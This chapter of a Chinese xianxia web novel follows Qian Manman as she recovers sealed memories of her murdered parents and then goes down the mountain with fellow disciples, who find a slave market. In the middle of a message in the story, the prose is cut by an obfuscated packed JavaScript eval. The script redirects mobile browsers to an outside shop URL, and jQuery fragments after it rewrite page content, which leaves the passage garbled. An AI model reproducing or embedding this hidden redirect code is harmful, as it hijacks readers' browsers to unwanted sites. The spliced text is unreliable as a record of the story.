“怎么了怎么了,师弟你叫我来是哪里不舒服。”
门外,药不渡咋乎的声音打断了钱满满的痛苦回忆。
“不是我,是满满。”
温珩之侧开身子,让药不渡进房。
“满满?这丫头不是被我养的挺好的吗,怎么一到你们望云峰就生病,我非得告诉老三,让他好好教训你。”
药不渡的声音立时充满了愤怒,大步向着钱满满走去。
可他刚走到一半,看见钱满满的模样,心底顿时有了不妙的猜测,愣在原地。
钱满满张开眼,对着药不渡惨然一笑。
“五师叔,我没什么大事,只是想起了一些事情。”
药不渡张了张口,不知该说些什么。
钱满满小时候身体虚弱,三长老便带着她长住在药宗,方便随时去找药不渡。
可以说,钱满满的命,半条是三长老救的,另外半条是药不渡从鬼门关里拉回来的。
因此,药不渡对钱满满的身体情况比谁都清楚。
折磨着钱满满的并不是身体的孱弱,而是心病。
为了让钱满满能够好转,药不渡征求了三长老的同意后,将她来御天宗之前的记忆封印。
此后,她果然一天天好转,平安长大,却没想到封印会在今日被意外打破。
“满满你……要不我再将你的记忆封印一次?”
药不渡迟疑地问道。
虽然治标不治本,最好的办法是钱满满学会面对曾经的伤痛,但看着小辈如此痛苦,他实在于心不忍。
“没事的师伯,我已经长大了,总不能一直逃避下去。”
钱满满摇摇头,从榻上起身,然而双腿依然没什么力气,踩到地面时差点摔倒。
叶浮舟一把将她扶住,不赞同地皱起眉。
“师妹,你有什么想要的告诉我,你继续休息一会儿。”
事关钱满满的身体,他不复平时的温和,口气难得一见的强硬。
“没事的师兄,我就是想师父了,想去他的洞府待一会儿。”
钱满满站直身体,推开了叶浮舟的手。
“我想一个人静静。”
她看向温珩之,歉疚地道别:
“小师叔,我这几天可能不能来看你了,但我保证,等我整理好自己的心情,一定马上过来。”
说着她又跟药不渡表达了感谢,慢慢往外走去,背影却落寞地仿若下一瞬就会消散。
药不渡站在原地挠了挠头,拔腿跟上了她:
“满满等我,我送你到老三那。”
叶浮舟心内即焦急又心疼,也想跟着钱满满离去,没想到温珩之挡在了他身前。
“让满满自己好好想想,你现在过去强行安慰,只会让人徒增烦恼。”
温珩之说着冷笑一声:
“比起安慰,现在更重要的,是满满究竟发生过什么,你与她从小一起长大,竟浑然不知?”
叶浮舟握紧双拳,这也是他懊悔的原因之一。
若是他曾经多关注钱满满一些,不那么的目中无人,他是否就能知道钱满满的心病,并且早点发现钱满满对他的不同。
温珩之没再继续看他,而是心念一动,指尖倏地出现一只浅绿色蝴蝶。
“去吧,好好跟着她。”
话音落下,蝴蝶顺着钱满满的方向飞去。
叶浮舟垂眸沉沉地看了他一眼,转身离开。
.
钱满满回到三长老的洞府,径直走到了她小时候住过的房间前。
她深呼吸了好几次,颤着手将房门推开。
如果她没记错,在她封印记忆前,曾给自己写过一封信,就藏在房间内的镜子后面。
信件很快被她找到,钱满满将其打开,笑着流下了泪。
只见泛黄的纸张上,画着一家三口的画像。
或许不能称作画像,只能当作是幼童的涂鸦。
上面除了能看出是一个小孩与两个大人以外,看不出确切五官长相。
封印解除后,钱满满清晰地回忆起了她在画下这幅画时的心情。
当时幼小的她得知了药不渡要为她封印记忆,虽然没有拒绝药不渡的好意,却偷偷地画下了爹娘的模样,藏在镜子后面,生怕失去记忆的自己会忘记了爹娘的长相。
“没关系的,岁宜。”
钱满满将画像捂在胸口,仿佛穿过岁月长河与年幼的自己对话。
“我不会忘记爹娘的样子,永远不会。”
她想起了前几日,当她得知戴长老与师兄师姐们重伤时,她问自己的那句话。
她真的甘心永远在他人的庇护下生活,没有任何自保能力吗。
钱满满现在可以将答案肯定,她不甘心。
她也想保护别人,不愿再失去任何一个重要的人。
钱满满又在镜子后边找了找,拿出一个小小的,刻着岁宜字样的玉坠。
那是她出生时,娘亲亲手为她刻的护身符。
她将玉坠重新挂在腰间。
尽管这块玉坠的用料,哪怕在凡间也只是最普通的便宜玉石,更别说跟她身上其他的灵玉配饰相比。
可在钱满满心中,这块玉坠却是她最重要的珍宝。
“爹,娘,你们若是在天有灵,请保佑女儿找到杀害你们的人,我一定会为你们报仇,不会让你们一直蒙受冤屈。”
钱满满双手合十,闭上眼祈祷着,晶莹的泪水再次滑落。
而在她哽咽出声的瞬间,腕间的玉镯划过一道幽光,发间则落下了一只竹绿色蝴蝶。
钱满满不知道自己在房间里待了多久。
她一个人窝在被子里,醒了就哭,有时是放声大哭,有时是默默地哭,哭累了就睡。
如此反复好几天,将心中的悲切释放地差不多,至少想起爹娘能够忍住眼泪时,终于拿起了这几日不知闪烁多少次的玉简。
积累了最多信件的是温珩之与叶浮舟,接着是掌门与药师叔,还有其他长辈们,再然后是卫真。
钱满满与卫真已经成了关系极好的话本搭子,有段时间几乎天天在玉简上沟通看话本的心得。
近几日她没给卫真回信,把卫真吓了一跳,甚至在信件里说出了‘你是不是落到他手里了,等我想办法救你’这种话。
虽说不明白卫真口中的‘他’是谁,但钱满满能分辨出他是在担心自己,赶紧给人回了信。
【真真好,没出事,心情不好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981687|148160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一个人待了几天。】
那头的卫真收到消息,连着好几天活在愧疚与惊恐中的他总算松了口气,拿出玉简再次回信。
【心情不好?正好最近是凡俗界的花灯节,要不要一起去山下看看,凌师妹和徐师姐她们都跟我约好了,人多热闹。】
钱满满有些惊奇,凌师妹与徐师姐都不是容易与人相交的性子,居然这么快就与卫师弟打成了一片,话本的力量果然神奇。
她想了想,答应了卫真的邀约。
花灯节倒是其次,主要是想起先前在师叔师兄面前的失态,一时不太好意思面对他们。
于是第一时间感应到钱满满恢复了情绪,满心期待等着她回望云峰的叶浮舟与温珩之,等了半天,只等到了钱满满与师姐妹们一起下山逛花灯的消息。
“满满,这里这里!”
御天宗山门前,卫真与几个师姐妹们冲着钱满满大力挥手。
钱满满一个人待了好几天,乍一听到如此有活力的声音,心中不由得感慨万分。
“让大家久等了。”
钱满满小跑到她们面前站定。
她今日穿了身烟紫色诃子裙,发髻两侧各簪了紫藤样式的珠花,与平时素面朝天的样子判若两天。
自从钱满满开始接下照顾温珩之的任务后,便没怎么与师姐妹们见面,卫真等人还是第一次见钱满满穿弟子服以外的衣服,全都愣在了原地。
还是一向稳重的徐梦茹先反应了过来,围着钱满满转了一圈,不住赞叹道:
“好呀满满,你总算开始学着打扮自己了,我早说你该准备一些弟子服以外的裙子,像今天这样多好看。”
寡言的凌师妹也难得出声附和:
“师姐这样是好看,多穿。”
钱满满害羞地捏住衣角,礼尚往来道:
“你们别光说我,我看你们今天的妆容也和往日不太一样,凌师妹的口脂颜色和徐师姐的眉毛画的真好。”
徐梦茹与凌霜雪对视一眼,不约而同地看向了卫真。
卫真正在兴致冲冲地从储物袋中掏出一个小木盒,在盒子里挑来挑去:
“嘿嘿,满满你也觉得不错吧,都是我给大家化的妆,你等等,我找到两个很适合你的腮红和口脂。”
钱满满不可思议地了下眼睛,真真居然没有骗她,他真的很会梳妆。
在卫真的热情与徐师姐她们的鼓励下,钱满满终是接受了卫真的好意,让他给自己重新做了妆容才一起下山前往灯市。
然而大家都没想到,四人之中,竟没有一个人认识路,不知不觉就走到了另一个陌生的集市。
“这应该不是灯市吧……”
钱满满轻嗅着空气中隐约传来的血腥味,神情凝重。
“这很难是灯市。”
凌霜雪看着街道两旁或跪着或站着,却无一例外被锁链扣住的人们,握紧了手中剑。
卫真紧紧贴着徐梦茹站着,脸色惨白不发一言。
他怕自己一说话,就忍不住吐出来。
四人齐齐陷入了沉默。
正当这时,身后却传来一道张扬熟悉的嗓音——
“连奴隶市场都不知道,庶民果真是庶民,没见识。”